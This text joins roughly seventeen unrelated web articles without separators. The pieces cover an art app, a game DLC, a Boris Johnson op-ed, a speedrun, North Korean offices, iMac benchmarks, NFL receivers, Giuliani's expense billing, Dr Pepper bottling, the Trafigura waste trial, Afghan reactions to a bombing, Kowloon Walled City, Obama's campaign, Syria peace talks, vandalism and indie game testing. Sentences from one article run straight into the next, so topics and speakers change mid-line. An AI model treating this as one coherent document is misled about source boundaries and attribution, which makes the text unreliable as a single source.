On the not-writerly technology end of this, location-based apps are nothing new. Tinder and Grinder offer any person with a smartphone the opportunity to locate people in a specific radius for dating, hooking up, hanging out, or conversation. With both of these apps, the objective is romantic or sexual in nature. Neither Tinder nor Grinder elucidates moments of immediate synchronicity that July's Somebody app does.
These moments are reminiscent of July's 2005 film "Me and You and Everyone We Know," which follows a web of characters through a series of emotional connections. The Somebody app calls to mind the famous internet chat scene in that film, where a lonely contemporary art curator and a six-year-old boy exchange online texts that describe how they will poop back and forth into each others' butts forever. Neither the curator nor the boy know each other's real identities, lending an internet anonymity that offers them a freedom to say whatever without fear. The Somebody app doesn't have a pre-determined narrative, which is something that July notes as a departure from her previous work.
"Ashley found her #somebody and a painted poodle!" | Photo: Courtesy of Miranda July.
"Alexandra and her #somebody in The Mission, San Francisco." | Photo: Courtesy of Miranda July.
"Just the whole creative process of apps -- they are iterative, and continue to transform," she says. "That's not how movies or books or most things I make are."
The Somebody app is still in its early phase. Ultimately, July is interested in the users who stick around and get into the writing opportunities that it offers. In this sense, the app becomes less about actually finding somebody, and more about becoming somebody to someone else.
"I think it's super empowering to get to control not just what someone says, but how they say it," says July. "This may get too arty for a lot of the audience who just want to send 'wussup,' but I also think the 'wussup' messages are not going to get delivered. I think that's just too much trouble. The base of users that stays talk about how things are really well written."
July will present Somebody at LACMA's Art + Technology Lab on September 11, offering a demonstration of the app and a discussion about the project. LACMA will become a Somebody hotspot, and anyone who downloads it can test it out for free. She will speak about Somebody on October 9 at the New Museum in New York.
Dig this story? Sign up for our newsletter to get unique arts & culture stories and videos from across Southern California in your inbox. Also, follow Artbound on Facebook, Twitter, and Youtube.On April 28 we introduce The Outsider – Image & Form’s first add-on content (DLC) for the studio’s acclaimed strategy shooter SteamWorld Heist on Nintendo 3DS. The Outsider will cost $4.99/€4.99/£4.49 or the equivalent.
Check out the trailer:
Meet Fen: the latest member of your Heist crew, and the most unlikely of allies. A Vectron outcast, Fen breaks the ties to the hive mind and becomes one of your most formidable fighters.
How to play
The Outsider is not a conventional add-on. The new plot, missions, enemies, end boss, guns, utilities and dozens of new hats – of course! – blend seamlessly into the game. This means that, aside from starting afresh, you can pick up earlier save profiles, discover the history of Fen, and add the character to your roster pretty much immediately. And what an addition it is!
“Fen’s got some really fearsome firepower and clever upgrade mechanics that turn kills into own health and massive damage to others,” says Image & Form CEO Brjann Sigurgeirsson. “Busting up metal has never been this rewarding!”
Five new languages + Free Update
Outside of The Outsider, April 28 also sees a substantial free update to SteamWorld Heist itself. Players that prefer to have their steam-driven robots speak in French, German, Italian, Spanish or Russian will be happy, and due to popular demand we’ve also expanded the inventory a bit – now you have more empty slots from the outset, and getting new slots will be less taxing on your water reserves. And there’s more utilities. Oh, and even more weird hats.
Installing the free update makes The Outsider available from within SteamWorld Heist.
What’s your first impression of Fen?Just over three decades ago Harold Wilson campaigned for a ‘yes’ vote in the 1975 European referendum.
He passionately believed it was in the national interest for the UK to stay in the European Common market, as it was then called. But not all of his Labour colleagues agreed. Some of the most senior members of Wilson’s Cabinet campaigned for Britain to pull out.
Wilson, ever the pragmatist, knew his best chance of keeping his Government together was to allow his Cabinet to campaign for the outcome they believed in.
There are some obvious parallels with the referendum next month. David Cameron wants to remain in the European Union but Michael Gove, Chris Grayling, Priti Patel and other Tory Ministers are demanding we leave. Once again, collective responsibility has been lifted so Government Ministers can campaign for different sides.
But thirty years on, there is one big difference. Because this referendum has been hijacked by one man who never fails to place political ambition before principle.
Boris Johnson has decided to use the EU vote to further his own career and force his way into No 10 - regardless of the cost to the country and seemingly his own party.
It is cynical. It is short-sighted. It is selfish. And I believe the British electorate will see through it.
I don’t agree with Michael Gove about anything. I don’t have much time for Chris Grayling or Iain Duncan Smith. But at least they are expressing a sincerely held view when they claim the UK would be better off outside the EU – no matter how misguided they are to believe it.
The same cannot be said of Boris Johnson.
Just two years ago he wrote: “leaving the EU will be globally interpreted as a narrow, xenophobic, backward-looking thing to do”.
Now he is the cheerleader for the Leave campaign.
The truth is every political calculation he makes is judged against one criteria – whether it will increase his chances of becoming Prime Minister or not.
He is campaigning for Britain to leave Europe behind because he wants to be the darling of grassroots Tories who generally dislike the EU. He believes they will carry him to Downing Street on wave of anti-European euphoria. He is wrong.
Michael Heseltine was right to say he has lost his political judgement.
Boris Johnson will always put his own interests before the interests of his country. That’s why he is not fit to be Prime Minister.Dark Souls 3 recently pulled me back in for a second playthrough, within which I've now sunk 30 hours and have just reached the final showdown with the Soul of Cinder. I've not fought optional bosses Champion Gundyr, the Nameless King, the Ancient Wyvern, and I've not visited Ariandel. Oh, and the less said about my death tally the better.
In time for Christmas, Dark Souls speedrunner Qtt Six has however managed all of the above in an All Bosses (Ashes of Ariandel) world record-breaking time of 1.09.35. In short: it's taken me 1800+ minutes to achieve a fraction of what Qtt Six has in less than 70 minutes.
Okay, it's probably unfair to mention us both in the same breath so here's the run in full:
Impressive, eh? Besides immense skill, a combination of quitting out, favourable RNG boss fighting, and the use of the Vilhelm Skip and Crow Quills Glitch within the Ariandel DLC make this possible—a feat which has shaved close to an entire second off the previous record.
This handy timeline of Dark Souls 3 speedruns—which also includes data for DS, DS 2 and Scholar of the First Sin, and Bloodborne—shows how far speedrunning has come since its April release. For more Dark Souls 3-related reading, here's James' review of the base game, Shaun's verdict on the DLC, and a collection of the series' best/most hideous enemies.waytools: waytools: We're reviewing the data to get more clarity, but for your visibility - we think it'll likely be a few more days to make sure we're all clear to ship. We'll give you another update with more details after the weekend testing.
Might as well look at the possibilities again. Yeah, I know, there could be more delays |
1.
The government is headed by the Premier of the Cabinet, formerly called Premier of the Administration Council.
Other important institutions include the SPA, whose sessions are chaired by the Chairman of the Supreme People's Assembly, and, since 1993, the Chairman of the NDC–since 2016, known as the State Affairs Commission–which holds supreme command of the DPRK's armed forces.
While two other parties, the Korean Social Democratic Party and the Chondoist Chongu Party, nominally exist, only the WPK holds any power at the national level. The other parties, and indeed all other mass organizations in the country, are completely subservient to the WPK. They exist solely to keep up the appearance that the country is a pluralist society. Almost nothing is mentioned about the minor parties except the names of their current leaders.[4]
Since 1997, the SPA chairman, premier and NDC/SAC chairman have officially formed a triumvirate heading the executive branch, with powers equivalent to one-third of a president's powers in other presidential systems. The SPA chairman conducts foreign affairs and receives the credentials of ambassadors, the premier handles domestic policy and the NDC/SAC chairman commands the armed forces. In practice, however, the real power is vested in the SAC chairman (who has also been leader of the WPK), an office constitutionally defined as the "highest post in the state”.
Supreme Leader of the DPRK [ edit ]
The Constitution of North Korea has recognized the title "Supreme Leader" since 2009, when the Chairman of the National Defence Commission was formally designated as "the Supreme Leader of the Democratic People's Republic of Korea" (Korean: 조선민주주의인민공화국의 최고 지도자).[5] It was slightly amended in 2012, with "Chairman" replaced by "First Chairman."[6] It was further amended in 2016 to reflect the replacement of the NDC with the State Affairs Commission.
Generations of leadership [ edit ]
First generation Second generation Third generation
Bold offices refer to the highest position in the Workers' Party of Korea
Leaders of the Workers' Party of Korea (WPK) [ edit ]
Flag of the Workers' Party of Korea
Kim Jong-il died on 17 December 2011, but has since been posthumously named the "Eternal General Secretary". Thus his son and successor as leader, Kim Jong-un, was not given the title of General Secretary.
Heads of state [ edit ]
Kim Il-sung died on 8 July 1994, but has since 1998 been posthumously named the "Eternal President of the Republic". Thus his son and successor as leader, the late Kim Jong-il, was not given the title of President and the President of the Presidium of the Supreme People's Assembly became de jure head of state.
Heads of government [ edit ]
Heads of parliament [ edit ]
Heads of the military [ edit ]
Kim Jong-il died on 17 December 2011, but has since been posthumously named the "Eternal Chairman of the National Defence Commission". Thus his son and successor as leader, Kim Jong-un, was given the title of "First Chairman".
See also [ edit ]As people start benchmarking the new iMacs on Geekbench, the new new Sandy Bridge systems are showing pretty strong results coming in near the Mac Pros released last year and significantly above the speedy Sandy Bridge MacBook Pros released earlier this year. To give an idea where it falls, here is a bit of Geekbench’s normalized results for Mac systems:
Macworld also benchmarked a new 3.1 GHz Core i5 27-inch iMac and found it to be the fastest iMac ever tested with the Speedmark 6.5 suite of tests…
Our overall system performance test suite, Speedmark 6.5, shows the new system to be 16 percent faster than the previous high-end standard configuration iMac, a 27-inch 2.8GHz Core i5 quad-core model with a 1TB 7,200-rpm hard drive, and ATI Radeon HD 5750 graphics with 1GB of dedicated RAM. (Apple considered the older 27-inch 2.8GHz Core i5 iMac a BTO option, but the online Apple Store didn’t treat it like one, so we decided to treat it like a standard configuration model.)
If the middle of the road iMac with standard parts does this well, it will be interesting to see how the high end built-to-order iMacs perform.
Related articlesJamison Crowder, left, who set a Redskins rookie receptions record with 59 last season, shakes hands at practice on Wednesday with Jordan Reed, who set team records for tight ends during his 87-catch, 11-touchdown year. (John McDonnell/Washington Post)
There was a time, just an offseason ago, when DeSean Jackson’s independence would have been major news. His decision to skip another voluntary practice in another crucial year would have made his team face-palm and prompted sports-bar patrons to argue until their beers turned warm. It would have felt as if the Washington Redskins were being held hostage by the reality that the importance of Jackson, despite his mercurial behavior, outweighed the desire to make him conform.
On Wednesday, however, the most stunning development wasn’t that Jackson didn’t make an appearance. It was that you hardly recognized his absence. For the first time in Jackson’s two-plus years in Washington, the team’s receiving options are so deep and diverse that there’s no reason to obsess over Jackson.
And that’s where the 2016 season gets really interesting.
It’s not that Washington doesn’t need Jackson. He’s still one of the top deep threats in the NFL, even coming off the worst of his eight pro seasons. But this team has options now, many of them. With Jackson entering the final season of a three-year, $24 million contract, it makes his future one of the year’s most fascinating subplots.
I set the table for this last September, wondering whether Jackson fit into the team’s all-new culture. That’s when Jackson did his own thing in the offseason and nursed a training camp shoulder injury — and then hurt his hamstring the first time he went deep in the season opener against Miami. He wound up missing six games with that injury. For the season, he posted career lows in games played ( nine), receptions (30) and receiving yards (528).
DeSean Jackson, who interprets literally the terms ‘voluntary practices’ when many NFL players do not, is still an essential part of the offense. Though he had only 30 receptions in nine games last season, those went for 17.6 yards per catch. (Matt Rourke/Associated Press)
[From Sept. 2015: Jackson is a singular talent who might not work in D.C.]
Jackson turns 30 on Dec. 1. This season, he has a $9.25 million cap number. Washington would save $6.75 million against the cap if it cuts Jackson before June 1 or $8 million if it does so afterward. But that would be foolish because there’s no pressing reason to move on now, other than annoyance. Jackson remains a key to Washington’s hopes to repeat as champions of an NFC East division that could be much improved.
But Jackson’s long-term future? Well, that’s much murkier. The team drafted Josh Doctson in the first round and hopes to develop him into a No. 1 wide receiver. Jamison Crowder, a fourth-round draft pick in 2015, set a franchise rookie record with 59 catches last year. Doctson and Crowder are the future, and they’re good enough to be influential complementary players now. Jackson and Pierre Garcon are veterans in the final year of their contracts with much to prove.
Garcon also turns 30 this year. It’s possible that one of those veterans might return, depending on their demands, but both would be an extreme long shot. And the more diverse this passing game proves to be, the harder it will be to justify that Jackson is worth the patience.
“It’s an unbelievable amount of talent,” said Doctson, who was limited Wednesday with an injured Achilles’ tendon. “I’ve got to catch up, to be honest with you. I’m just watching them every day and thinking, ‘I’ve got to go to work.’ ”
Jackson is still the most electrifying receiver on the roster. Tight end Jordan Reed has become Kirk Cousins’s top target, but if Jackson is in top shape and remains healthy, he’s still the best bet to lead Washington in receiving yards. For as much as Jackson created exasperation last season with his hamstring injury, he helped take Cousins and the offense to another level when he returned.
[Kirk Cousins starts with a goal in mind: Consecutive NFC East titles]
Despite needs along the defensive line and at center, the Washington Redskins took the best player available. (Thomas Johnson/The Washington Post)
The difference this season is that if Jackson has a mediocre year and mediocre effort, the passing game still looks as if it can thrive. With Reed, Garcon, Doctson and Crowder to go with backup tight ends Niles Paul and former Pro Bowler Vernon Davis, there’s an impressive array of players who can serve many different roles. And Reed is emerging as an elite talent to lead them.
“I think Jordan Reed runs routes better than the best wide receiver in the league,” Davis said. “I’m being candid. I’m being totally, totally candid. Watching him, I was in awe.”
Davis told the story of watching Cousins look for Reed in practice. He smiled imagining the possibilities.
“He threw it to Jordan Reed. And he threw it to him again and again and again,” Davis said. “I started licking my lips. I was like, ‘Wow, look at this.’ This is a tight end-friendly offense.”
As usual, Coach Jay Gruden and the players say they aren’t bothered by Jackson’s absence because these are voluntary sessions. But coming off a playoff appearance, there’s such a good vibe around the team and talk of players being locked in and committed to doing what it takes to keep making progress. There’s only so much room for Jackson to be different, considering the direction in which the team is going. If he takes care of business and returns as peak Jackson, then all is fine.
[Five things to watch during Redskins offseason practices]
If he doesn’t, then, well, let’s just say Washington is in better shape than it has been before during Jackson’s time here.
“It’s exciting to have that many talented players on your offense,” Cousins said.
New cornerback Josh Norman is even impressed. He marveled at the receiving options and the team’s route combinations. He sees talent and creativity. And while Jackson was around for the first phase of the offseason team activities, Norman hasn’t been on the field with him in a competitive situation like this since joining the team.
“I’ve seen most of them,” Norman said of the receivers. “Not all of them.”
Most is pretty dang good. All would be spectacular. It’s up to Jackson to make the group spectacular. If he doesn’t, Washington is well on its way to being solid without him.
For more by Jerry Brewer, visit washingtonpost.com/brewer.Giuliani and Nathan were seeing each other in 2001, the period when the bills were incurred. Giuliani billed obscure agencies for trips
As New York mayor, Rudy Giuliani billed obscure city agencies for tens of thousands of dollars in security expenses amassed during the time when he was beginning an extramarital relationship with future wife Judith Nathan in the Hamptons, according to previously undisclosed government records.
The documents, obtained by Politico under New York’s Freedom of Information Law, show that the mayoral costs had nothing to do with the functions of the little-known city offices that defrayed his tabs, including agencies responsible for regulating loft apartments, aiding the disabled and providing lawyers for indigent defendants.
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At the time, the mayor’s office refused to explain the accounting to city auditors, citing “security.”
The Hamptons visits resulted in hotel, gas and other costs for Giuliani’s New York Police Department security detail.
Giuliani’s relationship with Nathan is old news now, and Giuliani regularly asks voters on the campaign trail to forgive his "mistakes."
It’s also impossible to know whether the purpose of all the Hamptons trips was to see Nathan. A Giuliani spokeswoman declined to discuss any aspect of this story, which was explained in detail to her earlier this week.
Asked about this article after it was published on Wednesday, Giuliani said: "It's not true."
He said he had 24-hour security during his eight years as mayor because of "threats," adding: " I had nothing to do with the handling of their records, and they were handled, as far as I know, perfectly appropriately."
The practice of transferring the travel expenses of Giuliani's security detail to the accounts of obscure mayoral offices has never been brought to light, despite behind-the-scenes criticism from the city comptroller weeks after Giuliani left office.
The expenses first surfaced as Giuliani's two terms as mayor of New York drew to a close in 2001, when a city auditor stumbled across something unusual: $34,000 worth of travel expenses buried in the accounts of the New York City Loft Board.
When the city's fiscal monitor asked for an explanation, Giuliani's aides refused, citing "security," said Jeff Simmons, a spokesman for the city comptroller.
But American Express bills and travel documents obtained by Politico suggest another reason City Hall may have considered the documents sensitive: They detail three summers of visits to Southampton, the Long Island town where Nathan had an apartment.
Auditors "were unable to verify that these expenses were for legitimate or necessary purposes," City Comptroller William Thompson wrote of the expenses from fiscal year 2000, which covers parts of 1999 and 2000.
The letter, whose existence has not been previously reported, was also obtained under the Freedom of Information Law.
Long Island bills
The receipts tally the costs of hotel and gas bills for the police detectives who traveled everywhere with the mayor, according to cover sheets that label them “PD expenses” and travel authorizations that describe the trips.
New York's mayor receives round-the-clock police protection, and there's no suggestion that Giuliani used his detail improperly on these trips.
Many of the receipts are from hotels and gas stations on Long Island, where Giuliani reportedly began visiting Nathan’s Southampton condominium in the summer of 1999, though Giuliani and Nathan have never discussed the beginning of their relationship.
Nathan would go on to become Giuliani’s third wife, but his second marriage was officially intact until the spring of 2000, and City Hall officials at the time responded to questions about his absences by saying he was spending time with his son and playing golf.
The receipts have languished in city files since Giuliani left office, apparently in part because of City Hall's decision to bill police expenses to a range of little-known city offices.
"There is no really good reason to do this except to have nobody know about it," Carol O'Cleireacain, a Brookings Institution senior fellow who was budget director under Giuliani's predecessor, David Dinkins, said of the unusual billing practices.
A Giuliani spokeswoman, Sunny Mindel, declined to comment on any aspect of the travel documents or the billing arrangements.
A Giuliani aide who would speak only on the condition of anonymity denied that the unorthodox billing practices were aimed at hiding the expenses, citing "accounting" and noting that they were billed to units of the mayor's office, not to outside city agencies.
The aide declined to discuss Giuliani's visits to Long Island.DUBLIN (CBSDFW.COM) – After a long legal battle, the doctor has ordered a halt to production of a distinct Dr Pepper product known to Texans as ‘Dublin’ Dr Pepper.
On Tuesday Plano-based Dr Pepper Snapple Group announced they had purchased the sales and distribution rights from Dr Pepper Bottling Company of Dublin.
That company had been making a cane sugar version of the popular soft drink for years from their Erath County facility.
Over the years relations between the bottler and Dr Pepper Snapple Group had become strained over their use of trademarks and sales outside of a 6-county territory around Central Texas.
The bottling company, which changed their name to Dublin Bottle Works, was the oldest Dr Pepper producer still in operation. A press release from Dr Pepper Snapple Group says the Dublin plant will stay open, along with a soda shop and museum that has been part of the facility.
In the release Dr Pepper Snapple Group said a cane sugar-based variation of Dr Pepper would still be available across Texas.
Business owners near the plant are worried the move will mean a drop in summer business. Miles Gillman owns Granny Clark’s Restaurant nearby and says taking Dublin Dr Pepper off the shelves will hurt the town. “To Dublin, Dublin Dr Pepper was like Wal Mart is to the rest of America. You never imagine it going away.”
The plant said because of the changes 14 people would be losing their jobs.
Dr Pepper Snapple says it will still support the community, and the mayor of Dublin says she looks forward to working with the new Dublin Bottling Works and Dr Pepper Snapple to maintain tourism.Much of the chemical waste still remains in Abidjan People in Ivory Coast have expressed disappointment following a trial over the dumping of hundreds of tonnes of toxic waste in Abidjan in 2006. They said Trafigura, the Dutch company that shipped the waste, should have faced more scrutiny. Two people were sentenced to 20 years and five years in jail over the waste, which was blamed for 17 deaths and widespread health complaints. In 2007, Trafigura paid an out-of-court settlement relating to civil claims. The company never admitted liability, saying the $200m (£108m) payment was made out of sympathy for the Ivorian people. In March 2008, the Ivorian Court of Appeal ruled that there was insufficient evidence to pursue criminal charges against the company. Class action Denis Yao Pipira, head of the Federation of Associations of Toxic waste victims in Ivory Coast, said the full truth of the incident had not come out. "It's absolutely necessary that the owner of the waste, the company Trafigura that chartered the Probo Koala boat [carrying the waste], have a chance to be questioned for their actions and to say which Ivorians they dealt with," he said. The BBC's John James reports from Abidjan that satisfaction over a rare verdict being reached was tempered by frustration that some people, including high-level political figures, were not held to account. "Me, as an individual person, I couldn't get to organise the papers to bring a boat of toxic waste into Abidjan," said one man. "It's not possible!" "We don't have justice here in Ivory Coast." Trafigura chartered the ship carrying the waste, which was unloaded in Ivory Coast after a failure to agree deals to get it treated in the Netherlands. A Trafigura spokesman said the Probo Koala was calling at a number of different ports, as part of a pre-arranged route to pick up and offload gasoline cargoes. While the Probo Koala's slops were offloaded in Abidjan when the ship docked there, the company said independent experts had found the slops could not have caused the widespread alleged illnesses. Trafigura said it had contracted a local firm, Tommy, to handle the waste in good faith. The head of Tommy, Nigerian national Salomon Ugborugbo, was sentenced to 20 years in jail. Essoin Kouao, who worked as a shipping agent at the Port of Abidjan and had recommended Tommy to the Dutch company Trafigura, received a five-year prison term. Seven others were acquitted. Only one person from the Trafigura group - N'Zi Kablan the head of their local partner - was called to be involved in the trial. He was supposed to be a witness but left the country days before the trial began. This is unlikely to be the last word on the scandal, our correspondent says. A massive class action involving thousands of victims that is prepared in the UK could begin next year.
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StumbleUpon What are these? E-mail this to a friend Printable versionAmin Karim, the spokesman for the main faction of Hezb-e-Islami, a conservative Islamist party with links to the insurgency, said members of his party disagreed with the strike because they believed it was carried out for American domestic political reasons and as a way to send a message to other countries at odds with the United States, rather than strictly to fight terrorism in Afghanistan.
“The goal of this attack was for beyond Afghanistan — it was for showing American power to North Korea, Syria and some other countries; it was for scaring these countries,” Mr. Amin said.
At a news conference organized by the Nangarhar governor’s office on Friday, a group of elders from the Achin district, where the bomb was dropped, expressed support for the use of such overwhelming force to eliminate the Islamic State fighters.
Atta Muhammad Noor, the powerful governor of the northern Balkh Province and a leader of the Jamiat-e-Islami, one of the largest Islamist parties, said he supported the use of the bomb as well as any “crackdown on insurgents and fundamentalists.”
Mr. Karzai said the people of eastern Afghanistan had expressed concern about Islamic State fighters crossing the border with Pakistan when the threat emerged more than two years ago, but little action was taken then. “They allowed Daesh to come and come, and empty villages of their residents and entrench themselves,” he said, using the Arabic acronym for the Islamic State. “Why did they wait for two years? Why didn’t they stop them then? All the entry points were known.”
He added: “The conclusion is that Daesh was a U.S. contractor, like DynCorp, like other U.S. companies, that they used to empty an area of its population and create a cause, create an environment, a psychological environment in which the U.S. can then test its weapon.”
Mr. Karzai, who has grown more anti-American in recent years despite having come to power with the help of the United States military, had been seen as a quiet opposition figure, albeit one intent on derailing Mr. Ghani’s government.It's been 20 years (to the month) since Kowloon Walled City was demolished, but amazingly, it remains one of the most dense structures ever built. As many as 33,000 people crammed into the seven-acre plot, known in Cantonese as "the city of darkness," before they were relocated in 1993. This diagram, from the South China Morning Post, is an eye-popping reminder of one of the most legendary structures in the world.
Nothing like it had existed before, and nothing has since.
The Walled City was one of those urban anomalies that tend to pop up in disputed territories and borderlands. It began as a Chinese military outpost in the 1800s, and emerged as a kind of no-man's-land when England leased Hong Kong in 1898. The Japanese razed the site during World War II, and after the surrender, it became a magnet for refugees when neither England or China wanted to deal with the burgeoning, ungoverned community. Kowloon Walled City, as we talk about it today, was born.
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For higher-res, click here.
In the years that followed, 300 towers rose on the site—soon, these buildings were woven into a dense interconnected network of ad hoc infrastructure. There was never an architect or planner involved, just an army of residents and carpenters who worked to fill the cracks. Without city services, residents got water from wells, and trash was hauled up to the roof. Every resident had an average of 40 square feet of living space. Unsurprisingly, a William Gibson character describes it best, in 1997's Idoru:
There was a place near an airport, Kowloon, when Hong Kong wasn't China, but there had been a mistake, a long time ago, and that place, very small, many people, it still belonged to China. So there was no law there. An outlaw place. And more and more people crowded in; they built it up, higher. No rules, just building, just people living. Police wouldn't go there. Drugs and whores and gambling. But people living, too. Factories, restaurants. A city. No laws.
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The Walled City was often described as a cesspool ("den of iniquity" was another favorite), but at the same time, the community was a model for cooperation: residents created basic rules to deal with matters of survival, like fighting fires. Schools, shops, and businesses (including those of doctors and dentists who couldn't get licensed in Hong Kong) flourished. Crime was also a major problem, as you might expect—for a time in the 1960s and 70s, the Triads controlled the city. But as the SCMP describes, most former tenants remember it fondly. "We all had very good relationships in very bad conditions," one ex-resident says. "People who lived there were always loyal to each other. In the Walled City, the sunshine always followed the rain."
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In the mid-1980s, concerns over living conditions spurred officials to relocate the majority of residents, and only a few years later, the Walled City was empty. Most of the pictures and reports on the Walled City hail from the few years between the beginning of relocation and the razing of the structure, in 1993. Today, the site is a park—a bronze model of the city is all that remains of its former residents.
What's really interesting about the Walled City is how much we still talk about it, two decades after it disappeared. It's taken on a life of its own as a cultural touchstone for ideas about ungoverned urbanism: Gibson's Bridge Trilogy describes several different iterations of Kowloon-esque walled cities, while architects wonder if 3D-printing technology could lead to a second coming. Kowloon has become a way to describe a whole set of ideas about cities and government today, well beyond the scope of the original experiment. [South China Morning Post, images courtesy of Greg Girard]The Obama campaign began the week by announcing a whopping $25 million ad buy in nine battleground states — and their top strategists told reporters that it is only the beginning.
President Obama speaks at a campaign rally at the Virginia Commonwealth University May 5, 2012 in Richmond, Va. (Sara D. Davis/GETTY IMAGES)
“We’re not letting our foot off the pedal,” said campaign manager Jim Messina in a conference call with reporters Monday morning. “We have a very simple choice between going forward and going back.”
Messina, along with senior strategist David Axelrod, told reporters that the ad, called “Go,” is part of a larger campaign effort to convey all that President Obama has done since taking office in the midst of an economic crisis and two wars in January 2009.
Axelrod said the president’s decision to talk positively about his record on the auto-industry bailout, winding down the wars in Iraq and Afghanistan, going after al-Qaeda and other achievements contrasts starkly with the strategy of his Republican opponent, Mitt Romney, to blame the nation’s continuing economic difficulties on the current administration without offering credible solutions.
“We’re in a different place,” Axelrod said. “We’re fighting our way through. There are still significant headwinds.”
Axelrod didn't preclude the need to respond to Romney’s attacks — and those of independent Republican super PACs, which he said the Obama campaign will respond “vigorously” to and treat “as an ad from governor Romney.”
Axelrod went so far as to describe the conservative Koch brothers, who have bankrolled several anti-Obama efforts including the free-market group Americans for Prosperity, as “contract killers over there in super PAC land who are going to continue to pound away on behalf of governor Romney.”
Axelrod didn’t mention the negative ads that Obama has aired already, including one broadcast in Ohio, Virginia and Iowa this month slamming Romney for holding a Swiss bank account.
A Romney campaign spokeswoman, Amanda Henneberg, did not respond to an inquiry about whether Romney would answer the Obama ad buy with one of his own, but she offered this rebuttal to the Messina/Axelrod call:
“President Obama would like for voters to believe he hasn’t been president for the last three years. Americans are disappointed in President Obama’s liberal policies that haven’t made their lives any better. President Obama just hasn’t lived up to his promises. It’s harder to get a job, buy or sell a home, and those fortunate enough to have jobs often have less in their paychecks. Mitt Romney will get our country back on track and stop the middle-class squeeze of the Obama economy.”
Axelrod and Messina were also asked about Vice President Biden’s remarks on gay marriage during an appearance on “Meet the Press”Sunday, which have been widely interpreted to reflect a more pro-gay-marriage stand than the administration has adopted to date.
Biden said he is “absolutely comfortable” with gay marriage. On the call Monday, Axelrod said the vice president’s remarks are entirely in sync with the administration’s.
Axelrod said the issue offers yet another contrast between Obama and Romney, and that Romney’s support of several anti-gay marriage initiatives and for a constitutional amendment banning the practice are backward-looking positions that most Americans reject.
“There’s a very clear distinction in this race,” he said.
During the call, Axelrod also discussed Vice President Biden’s remarks Sunday that he supports legalizing same-sex marriage.The Friends of Syria, an alliance of mainly Western and Gulf Arab countries who support the Syrian opposition, has said that the only way for a political solution to end the Syrian war is for peace talks in Geneva to take place.
"There is no other political solution," French Foreign Minister Laurent Fabius said speaking on behalf of the group on Sunday.
"There will be no political solution for Syria unless Geneva 2 meets."
An international meeting bringing President Bashar al-Assad's government and opposition groups to the table is set to be held from January 22 in Switzerland.
The main opposition bloc, the National Coalition, is under intense pressure to confirm its participation and has said it will decide on the issue on January 17.
"We urge the National Coalition to respond positively to the invitation to set up the Syrian opposition delegation sent by the UN Secretary General," the 11-nation Friends of Syria group said in a joint statement.
"We invite them to form, as soon as possible, a delegation of opposition forces to participate in the political process."
The leader of the Coalition, Ahmad Jarba, attended the Paris talks and said in a news conference that the Friends of Syria had agreed that Assad and his family will have no role in the country's future.
"We are all in agreement to say that Assad has no future in Syria," he said.
The Friends of Syria grouping is made up of the US, Britain, France, Germany, Italy, Turkey, Saudi Arabia, the United Arab Emirates, Qatar, Egypt and Jordan.
The Syrian regime has said it will attend the conference in Switzerland but that Assad stepping down is not an option.
Army offensive
On the ground in Syria, regime troops have started moving towards rebel positions on the outskirts of Aleppo city, including the strategic district of Sheikh Najjar.
The territory is the main point of entrance into the rebel-controlled east, and by taking it, the government could effectively block supply lines from Turkey, Al Jazeera's Zeina Khodr said on Sunday.
"The rebels are bogged down in their own war in the opposition-held north and the regime is trying to push forward, trying to make advances," our correspondent reported from Beirut.
Activists said the army was also attempting to push towards a strategic highway linking the airport to the western part of city, which remains under government control.
The government's push comes amid fierce infighting between various armed opposition groups, primarily directed against al-Qaeda-linked fighters in the Islamic State of Iraq and the Levant (ISIL).
At least 700 people have been killed in the past nine days as rebel forces turned on each other, while dozens of fighters from both sides were kidnapped, the Britain-based Syrian Observatory for Human Rights said.- Two Trump supporters were shocked to discover someone painted swastikas on their property this morning. Now police are looking for the vandals.
Ronnie Sartain was surprised to find swastikas on his garage, sidewalk and campaign sign today. "It's disappointing.I guess they had a little political issue with Trump." It's the first time, he decided to put campaign signs in his yard. "This is really a wonderful place to live. To see something like this was totally unexpected."
Gainesville police are trying to find the vandals. We asked Sartain, "Why a swastika? I have no idea. I have no idea that totally doesn't make any sense to me at all." And to make matters worse, a neighbor's truck was also vandalized, "He got his truck painted on the side but he managed to get it off."
While he has no idea who did this, he has his suspicions, "The democratic party did not go out and plan something like this, I don't think. Someone had a little too much to drink and partied a little too hard. They need to find ways to express themselves a little better than property damage and that kind of stuff."
He has a message for the vandal who ruined his property, "We'd like to think we have free speech but it's not quite as free as we want it to be." Sartain plans to leave up the swastikas until after elections, so people are more aware of the issue.
Anyone with information on the vandals should call the Gainesville Police Department at (352) 334-2400.Considering a public test version of your game? We highly recommend it! Today we're dishing out our experiences and trying to give tips for fellow indies.
Posted by Jeoo on Feb 26th, 2014
Netcode! What have you done to my planet!? Netcode! What have you done to my planet!?
Good evening, friends! Game Design Sasu, here! We're gearing up for a new alpha update, at the moment. It's looking quite nice, but there are still manyinteresting bugs to weed out. In addition to that, there seem to be multiple kinds of flu hanging around the TJR ecosystem. We're falling one by one!
In the meantime, I thought I could write something helpful for fellow indie devs. I already talked about this before on our IndieDB forums, but it was deemed useful enough to dedicate a blog post to it.
Today I'm going to talk about our experiences with giving out test versions of Interplanetary.
Preparation
There really is no substitute for a proper user testing. Everyone will eventually grow blind to the problems with their game, so fresh people are needed to give some perspective. We had had a couple of small testing sessions with our friends and relatives, but we needed more and variable data. Reaching out to gamers of the Internet was the answer.
Before sending out your alpha to the masses, consider why you want to do that. Do you need testers, publicity or just people to play your game with you? Our main priority was to get useful feedback, so we took that into account when building the testable version.
We had to make sure to give the testers the features we wanted them to test. The targeting system especially was something we wanted to get a lot of feedback on. This also meant that some of the more irrelevant features would need to be polished not to drag too much attention to them, or simply left out altogether. We didn't want people to just comment: "the planet graphics suck" and leave. When giving feedback, it's easy to grab into the most obvious thing and ignore the others.
Seriously, try to iron out the distractions. Seriously, try to iron out the distractions.
To gather the feedback, we created a survey with SurveyMonkey and put a link to it in-game. Looking back on it, we should've also given the link to each tester when contacting them for the first time - surprisingly many missed the in-game survey link and later asked how to provide feedback.
When creating a survey, it's important to think of the right questions to ask; most people won't bother writing out their life stories. You need to make the survey very easy and to the point. Try to add some very specific questions to steer the testers to concentrate on things you need comments on. The current version of our survey works well enough. People have a chance to comment on many different things, but they aren't forced to fill out every space to submit.
This system worked well until we reached over 100 answers. The free version won't show more than that, so we needed to pay a fee to access the rest.
Distribution
